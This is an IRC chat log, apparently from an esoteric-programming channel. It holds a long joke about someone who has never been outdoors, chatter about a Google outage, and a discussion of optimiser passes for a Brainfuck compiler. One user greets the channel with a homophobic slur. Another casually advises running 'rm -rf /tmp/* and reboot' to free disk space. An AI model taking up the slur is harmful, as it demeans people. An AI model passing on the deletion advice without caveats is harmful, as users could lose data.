printed on paper. 00:04:57 Out of a side, though. 00:05:02 -!- bsmntbombgirl has quit (Connection timed out). 00:05:08 AnMaster: ...Why would I kill trees? 00:05:10 ehird, paper being thin sheets made of dead wood 00:05:18 ehird, good question! 00:05:19 Poor wood... 00:05:20 :-( 00:05:27 I'm a wood vegan. 00:05:34 I don't eat wood eiter 00:05:36 either* 00:05:44 Me too!!!! 00:05:49 ... 00:05:54 * pikhq wonders what ehird's house is made of 00:05:59 pikhq: DIGITAL! 00:06:06 ... 00:06:08 No. 00:06:11 Yes. 00:06:13 My house is made of digital. 00:06:19 could be concrete... 00:06:23 That thing that keeps you seperated from the daystar? 00:06:38 ... 00:06:39 daystar? 00:06:41 Day... star? 00:06:43 Day star trek? 00:06:44 oh my 00:06:45 What? 00:06:49 a BAD case 00:07:09 ehird: Is there a door that you don't use very often? 00:07:28 Yes! Inside there is the thing that blinds you. I do not go there! 00:07:29 If so, open it. You should see the Big Blue Room. 00:07:35 ...big? How big. 00:07:45 Larger than the Internet. 00:07:46 Let me go and look... 00:07:59 Also, the day star is the thing that blinds you. 00:08:03 ehird, the thing that blinds you is called the "sun" or "day star". The former being a more common name. 00:08:11 pikhq: I looked at it but there was no light in there so I couldn't see and when I put my hand in to find a lightswitch it was cold. 00:08:24 pikhq, it is midnight in UK now I think 00:08:25 It must not be very well maintained! 00:08:25 ehird: Oh, it's not day. 00:08:28 You won't see the daystar, then. 00:08:48 This sounds like one of those fairytails. You know, Santa, Tooth Fairy, Allah, Day star... 00:08:51 *fairytales 00:08:52 You will see the nightstars. 00:09:01 unless it is clouded 00:09:02 Nightstar*s*? 00:09:05 Pull the other one! 00:09:17 They don't blind you. 00:09:30 They don't light anything either... 00:09:37 What's so special about this room anyway? 00:09:39 true 00:09:41 They are not very bright. 00:09:48 It's the original room. 00:10:04 All the other rooms were made by putting walls up in it. 00:10:10 that is because the day star is closer. 00:10:28 Original room? 00:10:36 And on the seventh day, the daystar put up some walls. Tee hee. 00:10:43 augh 00:10:50 actually, humans did 00:11:04 Because the Big Blue Room is kinda crappy. 00:11:06 Where did they get the walls from? Walls come from big buildings with walls in them. 00:11:22 ehird, and how do you think those are made 00:11:23 ehird: They made buildings. 00:11:37 AnMaster: Quantum fluctuations! 00:11:39 The roof leaks, the heater is broken, and the air conditioning hates you. 00:11:55 Oh, and sometimes very large rocks fall in. 00:12:09 What kind of architect designed that bullcrap?! 00:12:18 It wasn't designed. 00:12:27 (unless you believe some Christians) 00:12:33 pikhq: Hah, what are you gonna say? 00:12:36 A big ball of rock was flying along 00:12:40 and just turned into the big blue room? 00:12:44 This gets more ridiculous by the minute. 00:12:56 Hahah. 00:12:57 ehird, the whole existence was a freak accident. 00:13:07 -!- nooga_ has joined. 00:13:08 existence of everything that is 00:13:57 pikhq: about these rocks falling. 00:13:59 Does everybody dies? 00:14:06 No. 00:14:14 But./ 00:14:17 If rocks fall, everybody dies. 00:14:39 ehird, Most of the time the damage is localised. Only affects a small area. 00:14:54 -!- jix_ has quit ("leaving"). 00:14:55 say, a few buildings or so 00:14:58 And the Room is very, very large. 00:15:06 yeah 00:15:11 How big 00:15:30 ehird, depends on how you measure 00:15:37 You're all lunatics 00:15:40 Like scientologists 00:15:45 Bigblueroomologists 00:16:02 Approximately 510 gigameters. 00:16:15 148 gigameters of which is not water. 00:16:22 Erm. 00:16:26 Wait, it has water too? 00:16:29 -!- nooga has quit (Read error: 110 (Connection timed out)). 00:16:29 Square gigameters, I mean. 00:16:30 Like, instead of floor? 00:16:32 Hahhahahahah 00:16:37 In some places, yes. 00:16:52 About 70% of its surface area, in fact. 00:16:57 ehird, um. Not exactly. Ever seen a bathtub that was lowered to the floow level? 00:17:03 ok, well as you can see i have a q6600 with a whole 65 nanometers, and its awesome. So my friend gets an e7400 and they totally rip him off. Instead of giving him 65 nanometers or more, they only give him 45, like WTH!! 00:17:03 Want to see a picture of about half of it? 00:17:03 floor* 00:17:04 So nedless to say i am pretty mad as intel is jipping my friend of his nanometers, so now his cpu will not be as good as my q6600, which is bad. Intel used to give people like a whole 130 nanometers but lately they are being very stingy and are not giving us their nanometers so our cpu's are not as good. Please help me boycott intel so they stop stealing our nanometers 00:17:09 pikhq: Suure. 00:17:17 ehird, yes or no? 00:17:22 AnMaster: Nope. 00:17:23 http://upload.wikimedia.org/wikipedia/commons/9/97/The_Earth_seen_from_Apollo_17.jpg 00:17:40 pikhq: Oh come on, obviously photoshopped; look at the smooth edges and the black background 00:17:46 Also, that white shit. 00:17:50 What the FUCK is that meant to be? 00:17:51 Clouds. 00:17:53 Milk‽‽‽‽‽ 00:17:53 Yeah, the reflections are all wrong. 00:17:56 "Clouds"? 00:18:00 hahaha 00:18:00 The cloud is the internet, noobcaek. 00:18:07 Everyone knows that. 00:18:08 And that's the Earth. 00:18:12 A sphere. 00:18:16 Earth. Sounds like "Xenu". 00:18:16 In space. 00:18:21 Space. 00:18:23 Space of what. 00:18:32 ah. This gets complex... 00:18:49 Yeah, theology always does when you poke at the obvious flaws. 00:18:52 ehird, you know space games? 00:18:54 The Big Blue Room, the Earth, is a planet. 00:19:08 AnMaster: That's sci-fi. L Ron Hubbard was a sci-fi writer too and he founded scientology 00:19:09 ehird, think "like that, without the aliens (as far as we know)" 00:19:09 It is a very, very large rock with things on it. 00:19:11 coincidence? i think not 00:19:23 pikhq: I was joking about the flying rock, goddamn! 00:19:25 It is in orbit around the "Sun", the daystar. 00:19:26 You're all bananas! 00:19:31 fizzie: you don't believe this crap do you? 00:19:34 ehird, where do you think they got the idea to space invaders‽ 00:19:38 This is a gigantic mass of burning hydrogen. 00:19:43 AnMaster: star trek! 00:19:55 ehird, and where did they get the idea for star trek 00:20:00 pikhq: You're a dipshit. Hydrogen is a gas. 00:20:00 ehird: The evidence suggests that this is true. 00:20:07 Yes. 00:20:08 pikhq: How come it isn't flying everywhere? 00:20:14 Gravity. 00:20:15 AnMaster: The creators's mind? 00:20:20 pikhq: Gravity makes things go down. 00:20:23 Not hang about. 00:20:26 In "space" 00:20:33 ehird, you think they could make up something that stupid? 00:20:43 No, it makes things be attracted to other mass. 00:20:51 Which tends to form a sphere. 00:20:57 AnMaster: Einstein said that only two things are infinite: 00:21:00 Actually, Gravity is uncomputable. 00:21:05 the universe and human stupidity, and that he wasn't sure about the former. 00:21:06 Would have been the right answer. 00:21:09 I don't know what he means by "universe", but... 00:21:10 :P 00:21:21 ehird, the universe is the same as this space! 00:21:27 so bingo! 00:21:31 Oh, don't drag Einstein into your religion. 00:21:51 He described pretty well how gravity works. 00:21:56 By bending spacetime. 00:22:01 ;) 00:22:02 yep 00:22:03 That was *fiction*. 00:22:09 C'mon, "spacetime"? right out of star trek. 00:22:16 Ah, but we've observed it. 00:22:25 You kooky cultists, maybe. 00:22:52 ehird, yes, we believe in science! 00:23:00 'sthat the name of your religion? 00:23:02 "Sci-Ence"? 00:23:04 Experiments with the space shuttle, among other things. 00:23:05 no 00:23:22 ehird, Einstein style science. 00:23:25 that sort of stuff. 00:23:29 pfft. 00:23:33 pikhq: "space shuttle"? 00:23:35 Good god. 00:23:42 ehird, you missed out on that? 00:23:45 poor you 00:23:47 It goes into orbit around the sun. 00:23:48 Earth. 00:23:53 *Earth*, not the sun. 00:24:01 You can't even keep your facts straight, I see. 00:24:03 yeah, the Earth is in the orbit around the Sun 00:24:12 so in fact it also orbits the sun 00:24:13 That, among other things, is how we have pictures of the Earth. 00:24:19 because it orbits the orbiting Earth 00:24:23 photoshopped. 00:24:36 ... In the 60s? 00:24:42 actually yes it is modified. The image was turned upside down. That was all. 00:24:44 yeah. 00:24:45 :P 00:24:55 (didn't you know?) 00:25:18 Sorry, that specific picture was from 1972. 00:25:27 Before UNIX, still. 00:25:28 ;) 00:26:49 not before epoch though. Though epoch was before UNIX. 00:27:02 Yeah. 00:28:04 time started in 1970 :P 00:28:35 coppro: my music collection disagrees. 00:28:49 * pikhq listens to the Beatles 00:29:33 ehird: Go to the Big Blue Room sometime during the day. 00:29:42 Heh. 00:29:42 At 0, the world was created with an artificial history, obviously 00:29:43 As if. 00:29:57 Observe the existence of things like "the Sun". 00:30:00 -!- upyr[emacs] has quit (Remote closed the connection). 00:30:02 Then do the same at night. 00:30:08 Observe the plentiful stars and the moon. 00:30:18 Come back and we'll talk again. ;) 00:30:29 ehird, space shuttle mounted on launch platform: http://antwrp.gsfc.nasa.gov/apod/image/0905/shuttlepredawn_danforth_big.jpg The Space Shuttle is the white thing with the half-hidden text "NASA" and "Atlantis" (the name of this specific shuttle, no idea why the named it that) on it. 00:30:47 AnMaster: Nice render. POV-Ray? 00:30:56 ehird, photo. 00:31:00 Camera. 00:31:03 Yeah, uh, no. 00:31:06 That is no room. 00:31:14 ehird, what is it then? 00:31:16 Hmm 00:31:19 Might be a film studio 00:31:21 But probably a render 00:31:21 You can also fly to Cape Canaveral and see it for yourself. 00:31:23 It's all too perfect. 00:31:28 pikhq: fly? 00:31:31 You believe your adherents can FLY?! 00:31:35 HAHAHAHAHHAHA 00:31:36 HAHAHAHAHA 00:31:37 um no 00:31:37 AHAHAHAHAA 00:31:39 aircraft 00:31:39 AJHAHAHHAAHAGA 00:31:41 AHAHAHAHAA 00:31:44 Aircraft. 00:31:46 Pffft. 00:31:51 as in powered vehicle 00:31:52 Not without help. We have machines that fly. 00:31:56 We sit inside them. 00:32:17 works by using wings to produce lift. 00:32:25 It's a very good way of moving about in the Big Blue Room, since it's very, very large... 00:32:30 (simplified) 00:32:46 And even going 200mph, it takes hours to get places. 00:32:57 ehird, and the room is so large you CAN'T see it is a room- 00:33:01 s/-/./ 00:33:03 * ehird snrk 00:34:02 ehird where do you think I am? 00:34:17 Uh. 00:34:19 Dunno. 00:34:31 I'm not in your house. 00:36:59 ehird, try going out the door you don't use a lot tomorrow 00:37:04 why 00:37:33 -!- puzzlet has joined. 00:37:41 ehird, because you missing something that is way better than inside. 00:37:54 ehird, it may take a while to adjust to the light level 00:38:03 pikhq: is AnMaster part of a weird sect of your cult? 00:38:08 that _likes_ the B.B.R.? 00:38:16 ehird, also don't your house have windows? Holes in the walls. With glass in them 00:38:26 ehird: There are pleasant things in the B.B.R. 00:38:28 Sure; they display generated sci-fi scenery. 00:38:31 Such as other people. 00:38:38 And they don't generate anything. 00:38:43 They are just transparent. 00:38:46 yep. 00:38:46 Sure. 00:38:49 Suuuuuuuure. 00:39:07 ehird, that is what you will reach when you go through that door. 00:39:15 Look out the window, then go out the door. 00:39:17 lol 00:39:21 Should be the same thing. 00:39:42 well, you might have to go around the house to reach the right window of course 00:39:50 if the door is in the opposite end 00:40:02 (or similiar) 00:40:10 similar* 00:49:19 -!- inurinternet has quit (No route to host). 00:49:47 -!- puzzlet_ has quit (Read error: 110 (Connection timed out)). 00:52:13 night 01:06:33 -!- darthnuri has joined. 01:07:29 -!- darthnuri has changed nick to inurinternet. 01:22:26 haaa 01:22:39 my #define maping tool is awesome 01:23:04 added 'perspective' and various types of nodes 01:58:49 -!- puzzlet has quit (Remote closed the connection). 01:58:53 -!- puzzlet has joined. 02:03:08 -!- AnMaster has quit (lindbohm.freenode.net irc.freenode.net). 02:03:08 -!- ineiros has quit (lindbohm.freenode.net irc.freenode.net). 02:03:09 -!- Ilari has quit (lindbohm.freenode.net irc.freenode.net). 02:03:09 -!- Asztal has quit (lindbohm.freenode.net irc.freenode.net). 02:03:09 -!- ehird has quit (lindbohm.freenode.net irc.freenode.net). 02:03:10 -!- rodgort has quit (lindbohm.freenode.net irc.freenode.net). 02:03:10 -!- psygnisfive has quit (lindbohm.freenode.net irc.freenode.net). 02:03:10 -!- dbc has quit (lindbohm.freenode.net irc.freenode.net). 02:03:11 -!- mtve has quit (lindbohm.freenode.net irc.freenode.net). 02:03:11 -!- thutubot has quit (lindbohm.freenode.net irc.freenode.net). 02:03:11 -!- kerlo has quit (lindbohm.freenode.net irc.freenode.net). 02:03:11 -!- nooga_ has quit (lindbohm.freenode.net irc.freenode.net). 02:03:12 -!- Leonidas has quit (lindbohm.freenode.net irc.freenode.net). 02:03:12 -!- Dewi has quit (lindbohm.freenode.net irc.freenode.net). 02:03:12 -!- EgoBot has quit (lindbohm.freenode.net irc.freenode.net). 02:03:13 -!- GregorR has quit (lindbohm.freenode.net irc.freenode.net). 02:03:13 -!- MizardX has quit (lindbohm.freenode.net irc.freenode.net). 02:03:13 -!- fungot has quit (lindbohm.freenode.net irc.freenode.net). 02:03:13 -!- fizzie has quit (lindbohm.freenode.net irc.freenode.net). 02:03:13 -!- inurinternet has quit (lindbohm.freenode.net irc.freenode.net). 02:03:13 -!- Slereah has quit (lindbohm.freenode.net irc.freenode.net). 02:03:13 -!- sebbu has quit (lindbohm.freenode.net irc.freenode.net). 02:03:13 -!- coppro has quit (lindbohm.freenode.net irc.freenode.net). 02:03:13 -!- pikhq has quit (lindbohm.freenode.net irc.freenode.net). 02:03:13 -!- puzzlet has quit (lindbohm.freenode.net irc.freenode.net). 02:03:14 -!- Gracenotes has quit (lindbohm.freenode.net irc.freenode.net). 02:03:15 -!- ski__ has quit (lindbohm.freenode.net irc.freenode.net). 02:16:14 -!- clog has joined. 02:16:14 -!- clog has joined. 02:16:15 -!- lifthrasiir has joined. 02:23:20 -!- puzzlet_ has joined. 02:31:31 -!- puzzlet_ has quit (Read error: 60 (Operation timed out)). 02:33:32 -!- puzzlet_ has joined. 02:34:25 -!- puzzlet_ has quit (Read error: 104 (Connection reset by peer)). 02:36:12 -!- puzzlet has quit (Read error: 110 (Connection timed out)). 02:38:31 -!- puzzlet has joined. 02:39:19 -!- puzzlet has quit (Read error: 104 (Connection reset by peer)). 02:43:32 -!- puzzlet has joined. 02:44:01 -!- nooga_ has quit ("Leaving..."). 02:58:46 -!- puzzlet_ has joined. 03:11:46 -!- puzzlet has quit (Read error: 110 (Connection timed out)). 03:31:31 -!- oerjan has joined. 03:47:18 -!- darthnuri has joined. 04:04:20 -!- inurinternet has quit (Connection timed out). 04:04:41 -!- rixius has joined. 04:05:32 -!- darthnuri has quit (Connection timed out). 04:21:12 -!- oerjan has quit ("leaving"). 04:45:32 -!- Sgeo has joined. 04:45:43 -!- puzzlet_ has quit (Read error: 60 (Operation timed out)). 04:47:40 -!- pikhq has quit (Read error: 104 (Connection reset by peer)). 04:48:34 -!- puzzlet has joined. 04:49:19 -!- pikhq has joined. 04:51:35 -!- pikhq has quit (Read error: 104 (Connection reset by peer)). 04:53:32 -!- rixius has quit (Success). 04:54:34 http://mathworld.wolfram.com/PizzaTheorem.html 05:03:14 http://kylegabler.com/WorldOfGooSoundtrack/ 05:51:06 -!- oerjan has joined. 06:02:44 -!- asiekierka has joined. 06:02:47 Hi there 06:02:54 hi 06:06:17 ok, finally finished my putc routine for chars 00-7F 06:06:40 so this means I can finally move to other things 06:06:45 like getc 06:08:10 -!- pikhq has joined. 06:20:47 hi 06:24:06 -!- bsmntbombdood has joined. 06:24:09 sup fags 06:25:17 hello 06:27:45 finally got this new computer running an os 06:28:52 I just hope it's not C64-DTV running CELF 06:28:53 :P 06:29:49 -!- darthnuri has joined. 06:30:13 wtf is that 06:30:37 -!- coppro has quit (Remote closed the connection). 06:32:01 ugh 06:33:42 -!- asiekierka has quit. 06:43:33 -!- oerjan has quit ("leaving"). 07:25:52 -!- FireFly has joined. 07:27:29 -!- darthnuri has quit (Read error: 110 (Connection timed out)). 07:36:34 fuck bsd 07:59:59 -!- clog has quit (ended). 08:00:00 -!- clog has joined. 08:05:09 -!- lereah_ has joined. 08:06:04 -!- Sgeo has quit (Read error: 110 (Connection timed out)). 08:06:16 -!- FireFly has quit ("Later"). 08:56:24 -!- tombom has joined. 09:01:14 -!- AnMaster has quit (Connection timed out). 09:01:23 -!- AnMaster has joined. 09:12:54 -!- puzzlet has quit (Read error: 113 (No route to host)). 09:52:17 -!- puzzlet has joined. 09:55:25 -!- bsmntbombdood has quit (Read error: 104 (Connection reset by peer)). 10:37:22 -!- ais523 has joined. 10:40:08 hi ais523 10:42:59 -!- ais523 has quit (Remote closed the connection). 10:43:09 -!- ais523 has joined. 10:52:20 -!- jix has joined. 11:04:32 -!- puzzlet_ has joined. 11:05:14 -!- puzzlet has quit (Read error: 54 (Connection reset by peer)). 11:07:26 -!- Deewiant has joined. 11:52:03 -!- nooga has joined. 12:34:34 hi ais523 (no response first time around, was just before the timeout) 12:34:37 hi 12:49:06 -!- ais523 has quit (Remote closed the connection). 12:49:06 -!- jix has quit (Read error: 104 (Connection reset by peer)). 12:59:22 hm 13:01:16 -!- asiekierka has joined. 13:01:18 Hi 13:01:32 Codename CELF progress: putc and puts are completely finished! woo-hoo! 13:01:39 Current task: do getc 13:05:41 Well, for PUTC, the only thing I am required to do is to do TAB (#09) 13:05:48 I can do BEL though (#07) 13:16:06 asiekierka sounds polish :D 13:16:23 what's CELF? 13:30:29 -!- darthnuri has joined. 13:32:13 nooga: because it IS polish 13:32:14 doh 13:32:32 LOL :D 13:32:42 and i AM polish 13:32:48 to fajnie, ja tez :P 13:32:50 nom 13:34:03 better to go prv ;p 13:34:11 yup 13:46:15 -!- Deewiant_ has joined. 13:46:24 -!- Deewiant has quit ("Changing server"). 13:47:36 -!- Deewiant_ has changed nick to Deewiant. 13:57:24 -!- puzzlet_ has quit (Remote closed the connection). 13:57:30 -!- puzzlet has joined. 14:17:10 -!- oerjan has joined. 14:17:35 i'll have a guinness, please 14:26:01 -!- lereah_ has quit ("Leaving"). 14:28:02 wtf 14:28:27 free space on my HD shrinks constantly 14:28:51 but TimeMachine is disabled 14:30:38 -!- MizardX has quit ("changing server"). 14:31:22 -!- MizardX has joined. 14:40:08 -!- puzzlet has quit (Remote closed the connection). 14:40:12 -!- puzzlet has joined. 14:41:51 -!- fizzie has quit (anthony.freenode.net irc.freenode.net). 14:41:51 -!- fungot has quit (anthony.freenode.net irc.freenode.net). 14:44:34 -!- fungot has joined. 14:44:34 -!- fizzie has joined. 15:12:59 Ļ∑óę󮳹…ą„żźłźźĶ∑󙼀–™Ľ€• 15:17:21 ÿøù ðöñ`þ ßâý 15:31:12 ^ ķą†ę īó¨ 15:39:02 -!- upyr[emacs] has joined. 15:50:55 -!- ais523 has joined. 16:00:44 -!- jix has joined. 16:01:27 13:28 nooga: wtf 16:01:28 13:28 nooga: free space on my HD shrinks constantly 16:01:29 13:28 nooga: but TimeMachine is disabled 16:01:32 timemachine doesn't back up to your hd 16:01:43 then what it does? 16:02:07 nooga: backs up to an external Time Capsule drive. 16:02:17 there is no such drive 16:02:22 so? 16:02:25 i'm telling you what it dose. 16:02:26 does 16:02:36 so my free space shrinks without any reason 16:02:42 no 16:02:46 it shrinks for a different reason 16:03:00 yesterday i've had 88GB free, now i have 86GB 16:03:11 swap space, temporary files. 16:03:14 and i don't remember downloading/creating something 2GB big 16:03:28 the OS will manage them itself 16:07:41 nooga: don't worry, be happy 16:09:15 Google is lagging... 16:09:39 sure 16:16:49 -!- puzzlet_ has joined. 16:17:58 darn right it is 16:19:16 oerjan: is that a joke :p 16:19:54 no, i just wanted to google something 16:20:17 yeah 16:20:19 my poor gmail, too 16:21:31 -!- darthnuri has changed nick to inurinternet. 16:21:41 inurinternet: who are you? :p 16:22:10 heh, if that realname is correct, that's quite a good nickname pun 16:22:16 a sith, obviously 16:22:18 heh, I just looked it up 16:24:38 um 16:24:41 google is fast here? 16:24:53 now it is 16:24:57 ah 16:25:01 hmm or maybe not 16:25:04 it seems to be very sporadic 16:26:31 it's currently refusing to load here 16:26:44 it indefinitely loads and sometimes finishes for me 16:26:53 the norwegian version, naturally, i don't know how much that matters 16:27:50 although i did get in a couple searches 16:27:50 85GB 16:27:53 !bf_txtgen Test for optimiser. 16:27:55 164 ++++++++++++++[>++++++>++++++++>++>+++<<<<-]>.+++++++++++++++++.>+++.+.>++++.<<+.>-----.+++.>.<---.+.++++.<+++.++++.----.>-.<----.>-.>>++++.<----------------------. [329] 16:27:59 nooga: stop sweating over it 16:28:09 the OS can manage some temp ;-) 16:28:09 something eatc my drive! 16:28:16 eats 16:28:31 if it keeps going down just rm -rf /tmp/* and reboot or something 16:28:44 -!- FireFly has joined. 16:28:55 * oerjan swats FireFly -----### 16:29:35 * ehird arrests oerjan for child abuse (unless FireFly is an adult, in which case disregard this) 16:29:38 :> 16:29:46 FireFly: stockholm syndrome! 16:29:57 * oerjan swats ehird in a lurid way -----### 16:30:00 -!- puzzlet has quit (Read error: 110 (Connection timed out)). 16:30:16 Hm 16:30:43 "The syndrome is named after the Norrmalmstorg robbery of Kreditbanken at Norrmalmstorg in Stockholm" 16:31:00 you swedes still have google don't you 16:31:00 :-( 16:31:09 Yep :> 16:31:15 robbery? i thought it was a terrorist attack... 16:31:17 FUUUUUUUUUUUUUUUUUUUUUCK YOUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUU! 16:31:29 Need...google...juice 16:31:35 I don't like the combo of swedish and english :\ 16:31:55 darn, switching to google.se doesn't help me... 16:32:01 oerjan: it's ze routing 16:32:06 FireFly: swedish sounds like joke english 16:32:06 -!- ais523 has quit (Connection reset by peer). 16:32:09 Kreditbanken! 16:32:14 Heh 16:32:17 It's the bank-en of [kc]redit! 16:33:26 * oerjan crosses his fingers for the space observatory 16:34:27 -!- BeholdMyGlory has joined. 16:36:04 -!- ais523 has joined. 16:38:39 ehird, still issues with google in UK? 16:38:50 yes. 16:38:56 everywhere but sweden, it seems. 16:38:57 works like a charm here! 16:38:58 cf oerjan 16:39:08 what about US? 16:40:43 ehird, UK + Norway != Everywhere :P 16:41:03 yes, but i'm pretty sure it's not two isolated cases 16:41:07 so probably a portion of europe 16:41:12 and maybe elsewhere 16:42:46 wait 16:42:51 sf.net changed design again!? 16:42:58 what, again again? 16:42:59 or just again 16:43:00 yeah 16:43:02 err 16:43:11 ehird, "since I last looked" 16:43:16 hmm 16:43:17 which was, uh 3 or 4 days ago 16:43:21 * ehird looks up a project to see if that changedt oo 16:43:50 they have 16:43:56 heh 16:44:01 the death throws of an obsolete service 16:44:13 redesigners redesigners redesigners redesigners redesigners redesigners 16:46:07 obsolete? Shitty yes, but not obsolete. Since lots of projects still use sf.net... Then "obsolete" must mean that you consider the concept of such sites outdated? 16:46:11 which again seems strange 16:46:34 sf.net itself had its time... 16:46:41 but I don't think its model is useful 16:46:48 some of its services, certainly 16:47:01 regardless of the model, there's no question its popularity for new projects is dwindling... 16:48:26 ehird, that is because of the constant redesigns IMO :P 16:48:38 oh, it happened before the design 16:48:42 well, at least it is probably part of the reason. 16:48:48 -!- ais523_ has joined. 16:48:51 ehird, before which redesign? 16:48:54 ais523_, wb 16:48:56 AnMaster: the first major one in ever 16:49:04 from the gigantic sidebars, orange-ball logo etc 16:49:05 ais523_, and have you noticed sf.net resigned again? 16:49:08 to the web 2.0y one 16:49:11 redesigned* 16:49:14 AnMaster: no, I never visit it 16:49:17 at least, not deliberately 16:49:19 ah 16:49:25 See? ;-) 16:49:27 ais523_, how comes? 16:49:28 it's not that I'm avoiding it 16:49:34 just that I have no reason to go there 16:49:37 -!- ais523 has quit (Nick collision from services.). 16:49:39 -!- ais523_ has changed nick to ais523. 16:49:50 indeed. Only reason I had to go there today was to comment on a bug report. 16:50:16 urgh, sf's issue tracker system 16:50:19 it's almost as bad as their forums 16:50:57 ehird, and? 16:51:08 you just reminded me of it:) 16:51:12 * :) 16:51:28 ehird, actually, the issue tracker used to be worse. 16:51:38 they made it slightly less bad recently 16:51:42 yes, but it's still awful 16:51:46 and the forums have always been that bad 16:52:09 they have forums? 16:52:20 AnMaster: for projects, yep 16:52:23 I see 16:52:24 some even use them 16:52:32 go to a project page, find the forums 16:52:37 they're truly awful 16:52:42 oerjan: how to say "don't run away" in norwegian? ;d 16:55:10 ikke løp din vei 16:55:57 or, ikke løp vekk 17:07:11 -!- Slereah_ has joined. 17:13:51 -!- BeholdMyGlory has left (?). 17:23:06 -!- Slereah has quit (Read error: 110 (Connection timed out)). 17:27:40 -!- ais523 has quit (Remote closed the connection). 17:34:42 wow, sun will sell you Unix-style keyboards 17:35:52 http://www.sun.com/desktop/products/peripherals/keyboard/ 17:37:17 okay, the first comment here is a bit odd: http://www.youtube.com/watch?v=ibZaxgnBsaU 17:37:41 'Tis music to his genitals indeed. 17:37:44 it's just baroque, people... 17:38:03 http://www.youtube.com/user/bubukaka5 17:38:06 He is indeed an odd one. 17:38:10 3219joejonas (1 week ago) 17:38:10 look I'm only going to say this.................. when you get sick and your in a hospital dieing REMEMBER WHAT you said and then think again!!!! 17:38:13 And Just Maybe You get out OK! But As long as you wannabe Canadian self don't stop acting like a jerk. aren't go to get no respect.....Just bcuz ur from Canada don't mean anything...wow Ur Canadian 17:38:16 so Wat , but there r going to be Black,White Or even Mexicans(wat ever u called them they are people like u and me) trying to save Ur life,working they butts off for you and all you can do is talk about crap. 17:38:19 Just Remember. 17:38:32 hah 17:38:44 PEDRO USADO CONDOM QUANDO ENCULO PORCINA POR FAVOR ! 17:39:02 and... wtf about the Alicia Keys comment 17:39:15 he ends it with 'no offense' 17:39:34 :D 17:44:20 http://www.youtube.com/watch?v=ttW3gJ7Uun0 no o o 17:44:56 wow that song is crap 17:45:06 yea 17:45:18 it looped on some itunes radio 17:45:30 wholenight 17:45:31 :D 17:45:48 -!- fizzie has quit (anthony.freenode.net irc.freenode.net). 17:45:48 -!- fungot has quit (anthony.freenode.net irc.freenode.net). 17:50:09 -!- upyr[emacs] has quit (Remote closed the connection). 17:50:57 -!- olsner has joined. 18:16:19 i wonder how long till 160GB X25-M prices go down 18:16:26 (A: months) 18:18:41 -!- olsner has quit ("Leaving"). 18:19:00 is it in theory safe to move a known constant output across a seek in bf? that is: other code here [>] [-]+++, which turns into "seek, set 3, output(3)" which is then sorted to "seek, output(3), set 3" 18:19:11 potentially I guess it isn't safe 18:19:16 AnMaster: how is that not safe 18:19:18 of course it's safe 18:19:24 ehird, if the seek never hits any set cell 18:19:29 the behaviour will differ 18:19:34 AnMaster: you handle that in the seek part 18:19:40 ehird, eh? 18:19:51 AnMaster: if the seek never finds a cell, it runs forever 18:19:54 ehird, I might not know if it will hit any set cell yet at compile time 18:19:55 so the other instructions aren't executed 18:19:58 and thus don't execute 18:20:12 "seek, set 3, output(3)" which is then sorted to "seek, output(3), set 3" 18:20:16 yes 18:20:17 that sorting is perfectly fine 18:20:33 ehird, but my question was, is it then safe to move the output across the seek 18:21:01 no 18:21:06 right 18:22:23 ;f 18:22:29 AnMaster: how are you optimizing [>>] 18:22:42 for(;*p;p+=2); ? 18:22:48 that's the best you can do, really 18:23:01 ehird, into a seek node. How that is output depends on the backend. 18:23:14 "For as long as I can recall, ATI/AMD video cards have typically had decent support in Linux" 18:23:19 Linux users can't agree on ANYTHING :-) 18:23:22 ehird, currently the C backend translates it to while(*p) p+=stride; 18:23:42 but could be changed into a for loop 18:23:52 AnMaster: same code 18:23:59 I really haven't spent much time on making the backend itself output the best possible code yet. 18:24:13 anyway I'm trying to figure out optimal sorting. 18:24:24 a thing i have learned over the past few days: the 2D/3D hardware acceleration stack for Xorg is a bloody mess 18:24:24 the shifter code is getting messy with special cases. 18:24:32 so I'm making a loop up table with conditions 18:24:36 does youtube work for any of you? 18:24:37 AnMaster: you just need to code one thing: 18:24:39 cuz it doesn't work for me 18:24:40 :P 18:24:49 well 18:24:49 AnMaster: "things that may or may not terminate are sort blockers" 18:24:52 the site gives a 404 18:24:54 asiekierka: google is being the laggy 18:25:01 well 18:25:01 not now 18:25:01 well 18:25:03 yt works for me 18:25:07 ehird, um no, you can't move an out across an out for example. but you can move an add (which changes a different cell) across an out 18:25:09 google loads for me, youtube does not load 18:25:22 AnMaster: ok, alternative definition: 18:25:23 wait 18:25:25 i think it works now 18:25:28 AnMaster: well 18:25:29 no 18:25:33 AnMaster: my rule still works 18:25:36 just specialcase output too 18:25:44 but "things that may or may not terminate are sort blockers" + side effect handling 18:25:48 catches everything 18:26:13 ehird, and I move {out. offset = 2, constant_to_add = 0}, {add, offset = 2, value = -2} across so you have: {add, offset = 2, value = -2} {out. offset = 2, constant_to_add = 2} 18:26:24 this is because often you can merge those add 18:26:25 like 18:26:29 !bf_txtgen abcde 18:26:31 47 +++++++++++[>+++++++++>+>><<<<-]>--.+.+.+.+.>-. [206] 18:26:39 like that. You can merge those adds 18:26:51 ehird, so there are lots of special handling cases needed. 18:27:16 and you can move set across add only if it has a different offset. 18:27:27 -!- oerjan has quit ("Good night"). 18:27:29 (the combiner pass will merge them if they have same) 18:27:40 nos 18:27:41 :O 18:28:03 (either, add, set into a set, since the add is a dead store; or for set, add change to the value to set) 18:28:16 can >><<<< be optimized to << ? 18:28:27 nooga, combiner pass would do that 18:28:56 anyway I'm working on making the shift-type look up table atm 18:30:48 18:27 AnMaster: (the combiner pass will merge them if they have same) 18:30:54 then always do the shifting step last 18:30:57 = no special case 18:31:08 ehird, um... what? 18:31:12 >_< 18:31:17 ++>-<++ 18:31:26 so? 18:31:29 shifting or combining first :P 18:31:30 you said 18:31:35 you decide 18:31:43 (1) If they have different offsets, you can shift them. 18:31:50 (2) If they don't, the combiner will merge them. 18:31:58 If (2) happens, you don't have to deal with it in (1) because you don't know. 18:32:00 ehird, yes, but shifter calculates the offset when it shifts > forward. 18:32:01 So always do (1) after (2) 18:32:04 and you can avoid a special case. 18:32:18 ehird, there are other special cases that you can exploit. 18:32:26 yes 18:32:28 but that saves one 18:33:00 ehird, and I run all the optimiser passes in a loop until tree changes no more. 18:33:13 yes, so run (1) last, ie the shifter, in the loop 18:33:15 so all passes needs to be able to deal with output from later passes. 18:33:20 -!- tombom_ has joined. 18:33:24 ib_opt_simple_loops, ib_opt_combine, 18:33:24 ib_opt_cleanup, ib_opt_shift, 18:33:24 ib_analyse_loops_simple, ib_analyse_loops_access, 18:33:24 